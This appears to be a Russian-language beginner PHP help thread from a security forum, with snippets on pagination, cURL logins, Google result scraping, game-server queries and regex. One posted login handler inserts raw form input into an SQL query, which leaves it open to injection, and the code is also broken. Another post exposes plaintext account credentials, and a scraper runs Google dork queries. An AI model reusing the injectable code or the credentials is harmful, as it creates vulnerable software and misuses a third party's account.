Просмотр полной версии : [php] Новичкам: задаем вопросы
http://php.net/manual/en/function.pow.php
Здравствуйте всем,подскажите пожалуйста,как ограничить вывод из базы например только 30 первых строк,то есть выше мне дали рабочие варианты вывода из таблицы значений,а как сделать так что вывело 30 или 50 к примеру и ссылка,
Страница 2,и к примеру выглядела она так site.ru/script.php?page=2 и на странице 2 следующие 30-50!
Это случаем не постраничный вывод?
Заранее премного благодарен
Epic wave
23.10.2009, 20:32
Здравствуйте всем,подскажите пожалуйста,как ограничить вывод из базы например только 30 первых строк,то есть выше мне дали рабочие варианты вывода из таблицы значений,а как сделать так что вывело 30 или 50 к примеру и ссылка,
Страница 2,и к примеру выглядела она так site.ru/script.php?page=2 и на странице 2 следующие 30-50!
Это случаем не постраничный вывод?
Заранее премного благодарен
limit ставь
Epic wave
23.10.2009, 20:33
Привет. Есть в пхп функция чтобы поднести допустим 5 в 35 степень. знаю что есть квадрат, а вот что бы в 35-ую незнаю. Можно просто цыклом но интересно такое существует?
pow(5, 35)
Epic wave
Можешь поподробнее?И про постраничный вывод что-нибудь!
Я просто не понимаю так с полуслова
Epic wave
23.10.2009, 20:49
Epic wave
Можешь поподробнее?И про постраничный вывод что-нибудь!
Я просто не понимаю так с полуслова
<?
require "config.php";
require "default/element.php";
$number = 50;
$offset = isset($_GET['offset']) ? (int)$_GET['offset'] : 0;
$result = mysql_query("SELECT COUNT(*) FROM `title`", $link);
$total = mysql_result($result, 0);
$menu = getMenuofPages($total, $number, $offset);
function getMenuofPages($total, $number, $offset) {
function getGoodUrl($url, $cur) {
if ($_SERVER['QUERY_STRING'] == "") {
return $url."?offset=".$cur;
}else {
if (substr_count($_SERVER['QUERY_STRING'], "offset=") > 0) {
$url = preg_replace("/offset=\d+/i", "offset=".$cur, $url);
return $url;
}else {
return $url."offset=".$cur;
}
}
}
if ($total <= $number) {
return;
}
$url = $_SERVER['REQUEST_URI'];
$int = intval($total / $number); // Целая часть от деления
$rest = $total % $number; // Остаток от деления
$menu = "";
// Сначала перебираем целые части
for ($i = 0; $i < $int; $i++) {
$cur = $i * $number;
if ($cur == $offset) { // Проверка на текущую страницу
$menu .= " | ".($cur + 1)."-".($cur + $number);
}else {
$menu .= " | <a href=\"".getGoodUrl($url, $cur)."\">".
($cur + 1)."-".($cur + $number)."</a>";
}
}
// Потом остаток (если есть)
if ($rest > 0) {
$cur += $number;
if ($cur == $offset) { // Проверка на текущую страницу
if ($rest == 1) {
$menu .= " | ".($cur + 1)." |";
}else {
$menu .= " | ".($cur + 1)."-".($cur + $rest)." |";
}
}else {
if ($rest == 1) {
$menu .= " | <a href=\"".getGoodUrl($url, $cur)."\">".($cur + 1)."</a> |";
}else {
$menu .= " | <a href=\"".getGoodUrl($url, $cur)."\">".
($cur + 1)."-".($cur + $rest)."</a> |";
}
}
}else {
$menu .= " |";
}
return $menu;
}
$result = mysql_query("SELECT * FROM `title` LIMIT $offset, $number", $link);
$vivod="$menu<br>";
while ($info = mysql_fetch_array($result)) {
$vivod.=element($info);
}
return $vivod;
?>
ну вот мой вывод, выводит по 50 элементов на странице. Разбирайся, если есть вопросы по коду, задавай
echo gmp_strval (gmp_pow (5, 35));
)
Epic wave
Спасибо,буду разбираться с твоим кодом!Помог
Подскажите кто знает,как можно с помощью gd2 сделать следующее:
Есть картинка,которая открывается с помощью gd2
imageCreateFromPNG
на ней пишется текст imagettftext
А как сделать чтобы на эту картинку можно было еще одну наложить или соединить?
Например как в сервисе создания аватарок!
Кто мне поможете доработать скрипт чата?
кому интересно стучите в асю:)
Народ! Подскажите пожалуйста кто знает!
Мне важно знать, для чего функция htmlspecialchars() заменяет символ амперсанд (&) на &аmp;.
Кавычки и угловые скобки - итак ясно.
Спрашиваю потому что написал чат. В нём сообщения обрабатываются этой функцией. Но я хочу чтобы обычные ссылки в сообщениях (httр://ссылка) заменялись на код
<a href='httр://ссылка'>httр://ссылка</a>
А как вы знаете многие ссылки содержат символы амперсанда, поэтому перед тем, как вставить линк в "<a href" я делаю обратное преобразование &аmp; на &. Впринципе заменять не обязательно - и так работает, но всё же интересно что опасного в символе амперсанда и как его можно использовать при атаке.
PS: Myload, обращайся - помогу! )
Как можно дать скрипту права на изменение chmod ?
WNZRS, надо чтобы у скрипта и у файла, чьи права ты хочешь изменить был одинаковый владелец/группа
_gr34t Хрень вы делаете с обратным преобразованием. Выдержка из мануала: Certain characters have special significance in HTML, and should be represented by HTML entities if they are to preserve their meanings.
И нигде про атаки не написано. А теперь посмотрим, как именно вы портите ссылки: <?PHP
// На входе именно такая ссылка, и почему-то важно оставить ее именно такой
$in = 'http://ссылка/index?aaaa=&';
$a = htmlspecialchars($in);
// Вывод после htmlspecialchars
echo '<a href="'.$a.'">'.$a.'</a>';
$a = str_replace('&','&',$a);
// Вывод после удаления "ненужных" замен амперсандов
echo '<br/><a href="'.$a.'">'.$a.'</a>';
FireFenix
24.10.2009, 13:05
WNZRS, надо чтобы у скрипта и у файла, чьи права ты хочешь изменить был одинаковый владелец/группа
Чёрт, а я всегда думал, что скрипт выполняет интерпритатор и ему нужны права, а не скрипту
_gr34t Выдержка из мануала:
Certain characters have special significance in HTML, and should be represented by HTML entities if they are to preserve their meanings.
Определенные символы имеют специальное значение в HTML, и должны быть представлены в виде HTML-сущностей, если они должны сохранить свои значения.
Ок, я понял. Но почему именно амперсанд?
И нигде про атаки не написано. А теперь посмотрим, как именно вы портите ссылки: <?PHP
// На входе именно такая ссылка, и почему-то важно оставить ее именно такой
$in = 'http://ссылка/index?aaaa=&';
$a = htmlspecialchars($in);
// Вывод после htmlspecialchars
echo '<a href="'.$a.'">'.$a.'</a>';
$a = str_replace('&','&',$a);
// Вывод после удаления "ненужных" замен амперсандов
echo '<br/><a href="'.$a.'">'.$a.'</a>';
Ну да, замену я именно так и делаю.
Чёрт, а я всегда думал, что скрипт выполняет интерпритатор и ему нужны права, а не скрипту
Да, точно! Попутал малясь :)
Подскажите, что это за кодировка ?
0xC000
0xA000
0x2000
Architek86
24.10.2009, 17:00
Возможно, вопрос не в тему, но всё же..
Народ, дайте хоть примерные наводки на то, как реализуется с помощью php и ajax процесс-бар, показывающий ход выполнения некоторой работы на сервере, например обработка большого файла. Насколько я понимаю, пока php не завершит работу, браузеру ничего не будет передано? Как передавать браузеру данные о ходе работы и как вообще браузер это должен принимать? Дайте хоть какие-нибудь статьи, заранее спс и +10 за хорошую помощь.
Пример реализации, без аякса :)
dllerk
Если я не ошибаюсь это пи использовании в пхп цветовой таблицы типа:
#000000
Architek86
24.10.2009, 17:53
Хмм.. Dimi4, хоть это и НЕ всё, что мне нужно, но пригодиццо, спс :) Осталось теперь понять, как этот процесс-бар заставить расти по мере выполнения задачи на сервере...
присвой картинке ид, и по мере выполнения джаваскриптом добавляй
document.GetElmentById('img').src='http://localhost/progress_bar.php?width=100&min=0&max=100¤t_position=' + pos ;
Перед этим присваивай переменной pos необходимое значение. Все просто вроде)
Кста там в срипте замени:
header("Content - type: image/png");
на
header("Content-type: image/png");
Блин,сделал все кроме модуля логин в своем движке мониторинга!
Кому не сложно,напишите мне нормальный обработчик формы,чтобы сверл с мускулом логин и пароль
и если все верно то к примеру echo "Ok";,а если нет echo "Wrong login or password";
А дальше я сам
Просто никак не получается!
Форма:
<form action="login.php" method="post">
<input type="text"name="login" maxlenght="16">
<input type="text"name="password" maxlenght="32">
<input type="submit" name="submit" value="Войти">
Вот к примеру такая форма!Заранее спасибо за все предложенные в будущем варианты!
Deathdreams
24.10.2009, 19:05
qW1zer
Нишутя
немного ли ты захотел?
с мускулем ему ещё.
Deathdreams
2кб кода,нужно только запрос в мускул проверка данных и все
Больше я ничего не хочу и не прошу,просто у меня хоть убей,но не получается!
Тут и 2кб то не наберется!
Patronik
24.10.2009, 20:54
Блин,сделал все кроме модуля логин в своем движке мониторинга!
Кому не сложно,напишите мне нормальный обработчик формы,чтобы сверл с мускулом логин и пароль
и если все верно то к примеру echo "Ok";,а если нет echo "Wrong login or password";
А дальше я сам
Просто никак не получается!
Форма:
<form action="login.php" method="post">
<input type="text"name="login" maxlenght="16">
<input type="text"name="password" maxlenght="32">
<input type="submit" name="submit" value="Войти">
Вот к примеру такая форма!Заранее спасибо за все предложенные в будущем варианты!
<?php
session_start();
if( !empty($_POST['submit']) )
{
$inlogin = $_POST['login'];
$inpassword = $_POST['password'];
$connect = mysql_connect("host", "user", "pas");
$query = "SELECT FROM user WHERE user_login = '$inlogin' AND user_password = '$inpassword' ";
$resalt = mysql_query($quey);
if (mysql_num_rows($resalt) != 0 )
{
$row = mysql_fetch_array($resalt);
$_SESSION['logedUser'] = $row['user_login']; // Передаем логин юзверя в сессию
$_SESSION['logedUserId'] = $row['user_id'];
echo 'Hello '.$row['user_login'].'! ';
}
else
{
echo 'Такого юзверя нету !';
}
}
else
{
echo 'Ошыбка ввода логина или пароля!';
}
?>
файл тхт в кодировке
"хочет того же и вы Ñможете объединÐ"
как считать его в нормальной кодировке
вариант
$file = iconv ("utf-8", "windows-1251",file_get_contents("file.php")
рабочий, но не катит :) может еще есть варианты ?
REBUUS
чем не катит?,чтоб катило надо знать его недостатки
______
0ph.ru
REBUUS
чем не катит?,чтоб катило надо знать его недостатки
ну допустим на хоосте отключена это функция ;) или другая причина, это не важно, главное не катит :) нужен другой вариант
да если в php.ini
php_value allow_url_fopen off
а если:
$file = iconv ("utf-8", "windows-1251",file('file.php'));
________
0ph.ru
да если в php.ini
php_value allow_url_fopen off
а если:
$file = iconv ("utf-8", "windows-1251",file('file.php'));
функцию iconv не вариант мне использовать :)
рashkelaаааааааааа ты где? )))))))))))))))
Pashkela
24.10.2009, 22:30
http://forum.antichat.ru/thread144161.html
2-й пост, Kaimi
Patronik
25.10.2009, 01:03
Где можно почитать про библиотеку CURL и про ее практическое применение?, желательно с примерами.
Где можно почитать про библиотеку CURL и про ее практическое применение?, желательно с примерами.
http://www.google.com/search?hl=ru&client=opera&rls=ru&hs=sz8&q=php+curl&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&lr=lang_ru&aq=f&oq=
rainboww
25.10.2009, 13:40
Как добавить друга в Livejournal через cURL?
Написав скрипт авторизации в LJ и перехода на страницу под своим логином наткнулся на проблему
Хочу добавить друга. Захожу ручками через броузер в жж и перехожу на стр.
http://www.livejournal.com/friends/add.bml?user=e_grishkovets
В снифере получаю значения. Там много полей, но меня интересует только поле 'Добавить' или 'Add'
И что же мы видим? В поле Name там пусто. Как же тогда отправить Post запрос? Есть вообще решение этой задачи на PHP?
Код авторизации и перехода на стр. добавления:
<?php
function post($url,$post,$refer)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook1");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
return $result;
}
function get($url2)
{
$curl = curl_init($url2);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, $post);
curl_setopt($curl, CURLOPT_REFERER, $refer);
curl_setopt($curl, CURLOPT_COOKIEJAR, "./cook1");
curl_setopt($curl, CURLOPT_COOKIEFILE, "./cook1");
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($curl);
return $result;
}
$result = post('http://www.livejournal.com/logout.bml','user=ypsasauckraxjwg&action:killall=1','http://www.livejournal.com/');
$result = post('http://www.livejournal.com/login.bml','ret=1&lj_form_auth='.$lj_form_auth[1].'&user=ypsasauckraxjwg&password=6685904&action:login=%D0%92%D1%85%D0%BE%D0%B4+%D0%B2+%D1%8 1%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D1%83...','http://www.livejournal.com/');
$result = get('http://www.livejournal.com/friends/add.bml?user=e_grishkovets');
$result = iconv("UTF-8","Windows-1251",$result);
echo $result;
?>
Patronik
25.10.2009, 16:42
Не могу закачать файл на сервер. Видает ошыбку Warning: copy() [function.copy]: Unable to access in
в скрипте обработчике прописал дл проверки
echo'<form ENCTYPE = "multipart/form-data" method = "post">
Добавити фото: <input type = "file" name = "image">
<input type = "submit" value="Закачати">
</form>';
echo $_FILES['image']['tmp_name']; // название временной директорию вобще в браузер не выводит
echo'<br>';
echo $_FILES['image']['name'] ; // И в то же время название загруженого файла прекрасно выводит
echo'<br>';
дальше ошыбка возникает в етой строке
copy($_FILES['image']['tmp_name'], "image/".$_FILES['image']['name'] );
.
Думал что права на запись в папку не выставил но после того как установил file premission 777 всеравно не загружает и выдае ту же ошыбку.
Помогите разобраться с кодом:
<?php
$handler=fopen('log.txt','a+');
$zapros = 'inurl:"/?p=1" inurl:"ru"';
$request = 'http://www.google.com/ie?q='.urlencode(trim($zapros)).'&num=100&hl=ru&lr=&start=1&sa=N';
$result = file_get_contents($request);
$regulyar='/((?:http:\/\/)[\-\,\.\,A-Za-z1-9]*(.?)[a-z]*[\=\,\?\,\/a-z1-9]*).*?/isU';
if (preg_match_all ($regulyar, $result, $matches))
{
for ($i=0; $i<count($matches[0]); $i++)
{
$httpurl1=$matches[1][$i];
$serp[] = $httpurl1;
}}
$log = implode('\n',$serp);
fwrite($handler,$log);
fclose($handler);
echo 'Данные были сохранены в log.txt';
?>
Понимаю, выглядит дико и ужасно, но один из первых опытов.
Получается две проблемы:
1.Результат записывается в одну строчку, на нуледе читал что нужно использовать U, но не помогает.
И вторая проблема, не могу никак справиться с изменением "start=$nomer" номера страницы при парсинге.
Помогите пожалуйста.
Здесь в теме (https://forum.antichat.net/printthread.php?t=89109) похожий скрипт, но не могу никак приладить функцию.
Patronik
25.10.2009, 16:51
Помогите разобраться с кодом:
<?php
$handler=fopen('log.txt','a+');
$zapros = 'inurl:"/?p=1" inurl:"ru"';
$request = 'http://www.google.com/ie?q='.urlencode(trim($zapros)).'&num=100&hl=ru&lr=&start=1&sa=N';
$result = file_get_contents($request);
$regulyar='/((?:http:\/\/)[\-\,\.\,A-Za-z1-9]*(.?)[a-z]*[\=\,\?\,\/a-z1-9]*).*?/isU';
if (preg_match_all ($regulyar, $result, $matches))
{
for ($i=0; $i<count($matches[0]); $i++)
{
$httpurl1=$matches[1][$i];
$serp[] = $httpurl1;
}}
$log = implode('\n',$serp);
fwrite($handler,$log);
fclose($handler);
echo 'Данные были сохранены в log.txt';
?>
Понимаю, выглядит дико и ужасно, но один из первых опытов.
Получается две проблемы:
1.Результат записывается в одну строчку, на нуледе читал что нужно использовать U, но не помогает.
И вторая проблема, не могу никак справиться с изменением "start=$nomer" номера страницы при парсинге.
Помогите пожалуйста.
Здесь в теме (https://forum.antichat.net/printthread.php?t=89109) похожий скрипт, но не могу никак приладить функцию.
$httpurl1=$matches[1][$i];
Ошыбка в етой строке, тут переменная $httpurl1 постоянно перезаписиваеться. Надо сделать ее масивом типа так $httpurl1[], а если хочеш оставить ее строкой то надо использовать конкатенацию строк
$httpurl1 .= $matches[1][$i]; // точку добавить перед присвоением значения.
Че то я загнался, не посмотрел что ты в следуещей строке записиваеш в масив $serp[].
Короче не знаю...
Pashkela
25.10.2009, 16:57
$log = implode('\n',$serp);
только в двойных кавычках:
$log = implode("\n",$serp);
и не "\n", а "\r\n"
$log = implode("\r\n",$serp);
PS: Сам же дал ссылку на мой скрипт и так перековеркать всё
Да, в php есть разница между одинарными и двойными кавычками, и разница между ними выражается далеко не только в "мнимом" приросте скорости выполнения скрипта
Сам же дал ссылку на мой скрипт и так перековеркать всё
Учим'с =)) Я лучше понимаю реальные примеры, а не статьи из книжек. Поэтому когда не получилось запустить твой скрипт, попробовал переписать- но получилось как всегда...
В твоём скрипте на хосте выдаёт ошибку- не хватает третьего значения в функции parse_serp.
Каким образом через php можно узнать статистику чего либо,что находится не на веб узле,а,к примеру, на удалённом приложении-кс...Вот как сделать скрипт мониторинга? Только не надо выкладывать типа: там куча есть готового,зайди на cs-monitoring и т.п.... Самому охото сделать,просто подскажите какими командами это достигается? Желательно,не используя переменные --- я их не понимаю) Их ключи и т.п... И кроме мониторинга подскажите пожалуйста ещё: Какими средстави работют онлайн сканеры? Нигде их немогу скачать-то ссылки битые то вирус,исходника нет,принцип неизвестен..Киньте ссылку,или распишите,КаК сделать мини-сканер на пассивные XSS?
И ещё: как преобразовать текст в php? Например,сделать капчу? Пробовал-получал ошибки...
Я лучше понимаю реальные примеры, а не статьи из книжек. ---это про меня тоже :)
Gray_Wolf
26.10.2009, 10:30
Каким образом через php можно узнать статистику чего либо,что находится не на веб узле,а,к примеру, на удалённом приложении-кс...Вот как сделать скрипт мониторинга?
Сниффаем пакеты, потом используем пойманные пакеты для соединения с сервом.
Желательно,не используя переменные --- я их не понимаю) Программировать без использования переменных это как есть суп вилкой. Можно попытаться, может даже что-то получится, но на этом всё и закончится.
И кроме мониторинга подскажите пожалуйста ещё: Какими средстави работют онлайн сканеры? Нигде их немогу скачать-то ссылки битые то вирус,исходника нет,принцип неизвестен..Киньте ссылку,или распишите,КаК сделать мини-сканер на пассивные XSS?
Никто вам не станет обьяснять то что написано в книгах. Для понимания этой темы нужны серьёзные теоретические и практические знания, которых у вас нет. Прочтите 3-8 хороших книжек по программированию + пару книжек по конкретным языкам, напишите парочку программ на разных языках и разной направленности и возвращайтесь с тем-же вопросом.
И ещё: как преобразовать текст в php? Например,сделать капчу? Пробовал-получал ошибки...
Капча получается путём добавления текста в изображение, никакого преобразования там нету.
Скрипт дайте на капчю пожалуйста)
http://www.captcha.ru/kcaptcha/
<?php
if(!function_exists('getmicrotime'))
{
function getmicrotime()
{
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}
}
function serverInfo($ip, $port)
{
$ip = gethostbyname($ip);
$timeStart = getmicrotime();
$fp = fsockopen('udp://'.$ip, $port);
stream_set_timeout($fp, 2);
if($fp)
{
fwrite($fp,"\xFF\xFF\xFF\xFFTSource Engine Query\0\r");
$temp = fread($fp, 4);
$status = socket_get_status($fp);
if($status['unread_bytes']>0)
{
$temp = fread($fp, $status['unread_bytes']);
$server['ping'] = (int)((getmicrotime() - $timeStart)*1000);
$array = array();
$pos = 0;
while($pos !== false)
{
$pos2 = strpos($temp, "\0", $pos+1);
$array[] = substr($temp, $pos+1, $pos2-$pos)."\n";
$pos = $pos2;
}
$server['status'] = 'on';
if( strpos($array[0], $ip) !== 0)
{
$server['players'] = ord($array[5][0]);
$server['maxplayers'] = ord($array[5][1]);
$server['name'] = trim(substr($array[0], 1));
$server['map'] = trim($array[1]);
$server['game'] = trim($array[2]);
}
else
{
$server['players'] = ord($array[5][0]);
$server['maxplayers'] = ord($array[5][1]);
$server['name'] = trim($array[1]);
$server['map'] = trim($array[2]);
$server['game'] = trim($array[3]);
}
$command = pack("V", -1) . 'W';
fwrite($fp, $command, strlen($command));
$temp = fread($fp, 1500);
$temp = substr($temp, 5);
$lo = (ord($temp[1]) << 8) | ord($temp[0]);
$hi = (ord($temp[3]) << 8) | ord($temp[2]);
$data = "\xFF\xFF\xFF\xFF\x55".pack("V", ($hi << 16) | $lo);
fwrite($fp, $data);
$temp = fread($fp, 5);
$status = socket_get_status($fp);
if($status['unread_bytes']>0)
{
$temp = fread($fp, $status['unread_bytes']);
$array = array();
$temp = substr($temp, 1);
for($i=1;$i<=$server['players'];$i++)
{
$temp = substr($temp, 1);
$pos = strpos($temp, "\0");
$name = substr($temp, 0, $pos);
$temp = substr($temp, $pos+1);
$lo = (ord($temp[1]) << 8) | ord($temp[0]);
$hi = (ord($temp[2]) << 8) | ord($temp[3]);
$temp = substr($temp, 4);
$kills = ($hi << 16) | $lo;
$f = @unpack("f1float", $temp);
$temp = substr($temp, 4);
$time = (int)$f['float'];
if(trim($name))
$server['stats'][] = array("name" => $name, "kills" => $kills,
"time" => gmdate("H:i:s", $time));
}
}
}
else
$server['status'] = 'off';
}
return $server;
}
print_r(serverInfo("cs.otstrel.ru", 27025));
?> Вот скрипт снифает который кску,но я получаю массивные данные,а как мне их,к примеру,преобразовать в таблицу?
N2kroot
пропусти массив через цикл: foreach() || for() || while()
________
0ph.ru
Подробнее напиши ) непонятно,как именно? Я пытался сам фильтровать-ошибки получаю...
N2kroot
что выводит :
print_r(serverInfo("cs.otstrel.ru", 27025));
?
________
0ph.ru
Напиши реальный сервер...И хостинг должен быть с возможностью отправки пакетов
Напиши реальный сервер...И хостинг должен быть с возможностью отправки пакетов
не в моих интересах тестить твой код,чтоб выводить массив => надо знать его структуру,если индексы установлены по дефолту и он 1-мерный:
<?php
$a=array(a,b,c,d,e,f,g);
foreach($a as $key=>$value){
echo $key,' ',$value,'<br/>';
}
/*
0 a
1 b
2 c
3 d
4 e
5 f
6 g
*/
?>
________
0ph.ru
Выводит вот что:Array ( [ping] => 189 [status] => on [players] => 20 [maxplayers] => 21 [name] => TheAbyss 1.6 #8 Public [map] => de_vertigo [game] => cstrike [stats] => Array ( [0] => Array ( [name] => I'm Godzilla, you are Japan [kills] => 0 [time] => 00:00:12 ) [1] => Array ( [name] => Dredd [kills] => 0 [time] => 00:03:27 ) [2] => Array ( [name] => al1baba [kills] => 0 [time] => 00:00:08 ) [3] => Array ( [name] => <==|=ROMIK=|==> [kills] => 0 [time] => 00:01:49 ) [4] => Array ( [name] => 6ATAH [kills] => 0 [time] => 00:14:07 ) [5] => Array ( [name] => 1 raz igrau O_o [kills] => 0 [time] => 00:20:42 ) [6] => Array ( [name] => X_2 [kills] => 0 [time] => 00:00:13 ) [7] => Array ( [name] => ggg [kills] => 0 [time] => 00:00:13 ) [8] => Array ( [name] => Anarh [kills] => 0 [time] => 00:10:56 ) [9] => Array ( [name] => PAIN [kills] => 0 [time] => 00:14:34 ) [10] => Array ( [name] => ZinA [kills] => 0 [time] => 00:04:26 ) [11] => Array ( [name] => M.A.S.H.A. [kills] => 0 [time] => 00:00:15 ) [12] => Array ( [name] => KAMEHb [kills] => 0 [time] => 00:00:13 ) [13] => Array ( [name] => tv [kills] => 0 [time] => 00:00:14 ) [14] => Array ( [name] => eAsy ? [kills] => 0 [time] => 00:00:13 ) [15] => Array ( [name] => VODKA [kills] => 0 [time] => 00:02:04 ) [16] => Array ( [name] => I am | mef [kills] => -1 [time] => 00:15:47 ) [17] => Array ( [name] => I^np* sho0t[3]R [kills] => 0 [time] => 00:11:01 ) ) ) 0 a
1 b
2 c
3 d
4 e
5 f
6 g
Нужна попощь по скобкам !
php code :
<tr><td>Скачать:</td><td><a href=site.ru//".$s['adress']."></a></td></tr>
Получаеться:
<tr><td>Скачать:</td><td><a href=site.ru//fuck.html></a></td></tr><br>
А нужно:
<tr><td>Скачать:</td><td><a href="site.ru///var/tmp/phpfEZEw1"></a></td></tr><br>
mailbrush
27.10.2009, 01:19
echo '<tr><td>Скачать:</td><td><a href="site.ru///var/tmp/phpfEZEw1"></a></td></tr><br>';
echo '<tr><td>Скачать:</td><td><a href="site.ru///var/tmp/phpfEZEw1"></a></td></tr><br>';
Не то,
$s['adress'] - ету переменную нужно туда впихнуть, посмотри первый пример
mailbrush
27.10.2009, 01:22
echo '<tr><td>Скачать:</td><td><a href="site.ru//'.$s['adress'].'"></a></td></tr><br>';
zifanchuck
27.10.2009, 01:54
Привет всем. Как на пхп посчитать допустим сумму двох двоичных чисел?) я чето гуглю но чето ничего не нашел( гуглить время нет а код очень нужен. зарание огромное спасибо
Epic wave
27.10.2009, 01:56
base_convert не?
zifanchuck
27.10.2009, 02:01
base_convert не?
сорри щас туплю (заболел) но ета функция вроде для конвертирование одной системе в другую. а мне надо чтобы сумировать отнимать и т.д. думал может нужно написать число и в скобках какая система но выдало ошибку.
zifanchuck
27.10.2009, 02:13
хз чето туплю.
вот делаю так
<?php
$a = 101001101011;
$b = 101001;
$result = (bool)$a + (bool)$b;
echo $result;
?>
в ответ получаю 2
Epic wave
27.10.2009, 02:14
логично, оба bool по единице возвращают.
zifanchuck
27.10.2009, 02:29
короче незнаю правильно или нет но попробовал сделать так.
<?php
$hexadecimal = '1101';
$a = base_convert($hexadecimal, 2, 10);
$hexadecimal = '101';
$b = base_convert($hexadecimal, 2, 10);
$result = $a + $b;
$c = base_convert($result, 10, 2);
echo $c;
?>
вроде работает норм. а нету более рационального способа?
Gray_Wolf
27.10.2009, 10:29
Ну тогда уж лучше так:
<?php
$hexadecimal = '1101';
$a = decbin($hexadecimal);
$hexadecimal = '101';
$b = decbin($hexadecimal);
$result = $a + $b;
printf ("%b",$result);
?>
Но тут мы результат не переводим в двоичный вид, а просто выводим на экран в двоичном...
Traforet
27.10.2009, 19:13
Мне нужно по порядку написать числа от 1000 до 10000, руками этим заниматься думаю глупо))) Подскажите пожалуйста как реализовать вывод чисел в нужном диапазоне. :)
<?php
for ($i = 1000; $i <= 10000; print $i++ . "\n");
?>
Traforet
27.10.2009, 19:23
<?php
for ($i = 1000; $i <= 10000; print $i++ . "\n");
?>
СПАСИБО :rolleyes:
<?php
foreach(range(1000,10000) as $value) echo $value.'<br/>';
?>
________
0ph.ru
restart_05
27.10.2009, 20:05
<div class="new"><a href="?key=b918e74a40d2f3d7d7cea64da24fd071"></a></div>
Как путем preg_match вывести b918e74a40d2f3d7d7cea64da24fd071
restart_05
<?php
$str='<div class="new"><a href="?key=b918e74a40d2f3d7d7cea64da24fd071"></a></div>';
preg_match('#[a-f0-9]{32}#',$str,$code);
print_r($code[0]);
?>
________
0ph.ru
Epic wave
27.10.2009, 20:09
$m='<div class="new"><a href="?key=b918e74a40d2f3d7d7cea64da24fd071"></a></div>';
if(!preg_match("!key=(.*?)\"></a>
!si",$m,$ok))
echo $ok;
как то так
restart_05
27.10.2009, 20:22
спс
restart_05
27.10.2009, 20:26
а если этот key постоянно меняется ??
mailbrush
27.10.2009, 20:28
restart_05, делай так:
<?php
$m = '<div class="new"><a href="?key=b918e74a40d2f3d7d7cea64da24fd071"></a></div>';
preg_match('#<div class="new"><a href="\?key=([a-f0-9]{32})"><\/a><\/div>#', $m,
$matches);
echo $matches[1];
?>
$m='<div class="new"><a href="?key=b918e74a40d2f3d7d7cea64da24fd071"></a></div>';
if(!preg_match("!key=(.*?)\"></a>
!si",$m,$ok))
echo $ok;
как то так
Фигня полная...
restart_05
<?php
$str='<div class="new"><a href="?key=b918e74a40d2f3d7d7cea64da24fd071"></a></div>';
preg_match('#[a-f0-9]{32}#',$str,$code);
print_r($code[0]);
?>
Нельзя так делать :) А вдруг в коде до этого момента есть еще какой-то хэш?
а если этот key постоянно меняется ??
будет работать по-прежнему ,так как там md5();
update: mailbrush , верно подметил
+
2 mailbrush зачем \ ставить перед /, у тебя ведь:
#<div class="new"><a href="\?key=([a-f0-9]{32})"><\/a><\/div>#
________
0ph.ru
а если этот key постоянно меняется ??
так тебе и дали регулярное выражение- ты посмотри что там написанно: что будет искать 32 символа с буквами от а до f и цифрами от 0 до 9 надеюсь твой кей под это условие попадает даже если и меняеться?)))
Подскажите как реализовать такое:
Нужен скрипт, кусок кода который бы проверял, если имеется кука от форума А, Б, С.... то при клике по ссылке открываем ссылку А и Б если нет такой куки, то только А.
Спасибо за внимание. Надеюсь не совсем тупо поставлен вопрос.
Patronik
28.10.2009, 02:30
// insert into the db.
$_POST['website'] = $addslashes($_POST['website']);
$_POST['first_name'] = $addslashes($_POST['first_name']);
$_POST['second_name']= $addslashes($_POST['second_name']);
Взял ети строки из паблик движка одного сервиса. Помогите разобраться почему здесь исползуеться переменная $addslashes (он в коде прежде не обявлялась) вместо команды addslashes? И вобще может ето ошыбка?
Patronik
28.10.2009, 02:33
Убрал знак $ перед addslashes и в базе кавычки начали екранироваться, а до етого не екранировались. Что ето может значить? Влияет ли ето на понижение безопасности?
Gray_Wolf
28.10.2009, 08:27
Убрал знак $ перед addslashes и в базе кавычки начали екранироваться, а до етого не екранировались. Что ето может значить? Влияет ли ето на понижение безопасности?
Это влияет скорее на повышение безопасности чем понижение.
А что за двиг если не секрет?
erihtoney
28.10.2009, 09:02
Убрал знак $ перед addslashes и в базе кавычки начали екранироваться, а до етого не екранировались. Что ето может значить? Влияет ли ето на понижение безопасности?
здесь скорее всего невнимательность программистов, данная функция отвечает за экранирование спецсимволов.
В случае если у хостинг провайдера отключена опция magic quotes применять эту функцию необходимо, ну либо как хороший аналог в случае с работой с БД можно использовать mysql_real_escape_string
Коллеги, не подскажете ли класс для работы с POP3 (сокеты)? Необходимо чтение почты и сохранение аттачей.
ЗЫ. php-imap на RHEL5 отказывается работать
erihtoney
28.10.2009, 09:09
pop3.class.inc (http://www.phpclasses.org/browse/package/1120.html)
class-pop3.php (http://source.ibiblio.org/svn/lyceum/tags/1.0-RC3/src/lyceum/wp-includes/class-pop3.php)
POP3 Access Class (http://www.phpguru.org/downloads/pop3/POP3.phps) - рекомендую
Возможно ли как-то узнать, поддерживает ли сервер cURL без вызова phpinfo() и вызова самого cURL'a ?
Patronik
28.10.2009, 11:26
Это влияет скорее на повышение безопасности чем понижение.
А что за двиг если не секрет?
Движок ето ATUTOR версия 1.6.3 (система дистанциооного обучения)
Так вот там на странице изменения своего профиля такую штуку увидел.
А почему ведет повышению безопасности если не секрет?
geforse
